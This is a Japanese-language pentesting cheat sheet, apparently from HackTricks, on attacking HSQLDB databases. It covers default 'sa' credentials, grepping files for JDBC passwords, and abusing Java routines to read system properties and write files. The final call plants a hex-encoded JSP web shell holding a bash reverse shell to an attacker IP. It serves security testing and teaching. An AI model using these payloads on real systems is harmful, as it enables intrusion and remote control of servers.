mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-29 08:01:00 +00:00
94 lines
6.4 KiB
Markdown
94 lines
6.4 KiB
Markdown
<details>
|
||
|
||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
HackTricksをサポートする他の方法:
|
||
|
||
* **HackTricksにあなたの会社を広告したい場合**、または**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
|
||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
|
||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
|
||
|
||
</details>
|
||
|
||
|
||
# 基本情報
|
||
|
||
HSQLDB([HyperSQL DataBase](http://hsqldb.org/))はJavaで書かれたリーディングSQLリレーショナルデータベースシステムです。小さく、高速なマルチスレッドおよびトランザクショナルデータベースエンジンを提供し、メモリ内およびディスクベースのテーブルをサポートし、埋め込みモードとサーバーモードをサポートしています。
|
||
|
||
**デフォルトポート:** 9001
|
||
```text
|
||
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
|
||
```
|
||
# 情報
|
||
|
||
### デフォルト設定
|
||
|
||
このサービスはデフォルトでメモリ内で実行されているか、localhostにバインドされている可能性が高いことに注意してください。これを見つけた場合、他のサービスを悪用しており、権限昇格を図っている可能性があります。
|
||
|
||
デフォルトの資格情報は通常、パスワードが空白の`sa`です。
|
||
|
||
他のサービスを悪用した場合、可能な資格情報を検索するには
|
||
```text
|
||
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
|
||
```
|
||
データベース名を注意深く覚えておいてください。接続するために必要になります。
|
||
|
||
# 情報収集
|
||
|
||
HSQLDBを[ダウンロード](https://sourceforge.net/projects/hsqldb/files/)して`hsqldb/lib/hsqldb.jar`を展開し、`java -jar hsqldb.jar`を実行してGUIアプリ(eww)を使用し、発見された/弱い認証情報を使用してDBインスタンスに接続します。
|
||
|
||
リモートシステムの場合、接続URLは次のようになります:`jdbc:hsqldb:hsql://ip/DBNAME`。
|
||
|
||
# コツ
|
||
|
||
## Java言語ルーチン
|
||
|
||
HSQLDBからJavaクラスの静的メソッドをJava言語ルーチンを使用して呼び出すことができます。呼び出されるクラスはアプリケーションのクラスパス内にある必要があります。
|
||
|
||
JRTは`functions`または`procedures`になります。Javaメソッドが一つ以上のSQL互換のプリミティブ変数を返す場合、関数はSQLステートメントを介して呼び出すことができます。これは`VALUES`ステートメントを使用して呼び出されます。
|
||
|
||
Javaメソッドがvoidを返す場合、`CALL`ステートメントで呼び出されるプロシージャを使用する必要があります。
|
||
|
||
## Javaシステムプロパティの読み取り
|
||
|
||
関数を作成する:
|
||
```text
|
||
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
|
||
DETERMINISTIC NO SQL
|
||
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
|
||
```
|
||
実行機能:
|
||
```text
|
||
VALUES(getsystemproperty('user.name'))
|
||
```
|
||
以下は、システムプロパティの[リストをこちらで確認できます](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html)。
|
||
|
||
## ファイルへの内容書き込み
|
||
|
||
`com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` Javaガジェットを使用して、JDKにある(アプリケーションのクラスパスに自動的にロードされる)カスタムプロシージャを介して、ディスクに16進数エンコードされたアイテムを書き込むことができます。**最大サイズ1024バイトに注意してください**。
|
||
|
||
プロシージャの作成:
|
||
```text
|
||
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
|
||
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
|
||
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
|
||
```
|
||
手順を実行する:
|
||
```text
|
||
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
|
||
```
|
||
<details>
|
||
|
||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
HackTricksをサポートする他の方法:
|
||
|
||
* **HackTricksにあなたの会社を広告したい場合**、または**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
|
||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
|
||
* **HackTricks**の[**githubリポジトリ**](https://github.com/carlospolop/hacktricks)や[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングのコツを共有する。
|
||
|
||
</details>
|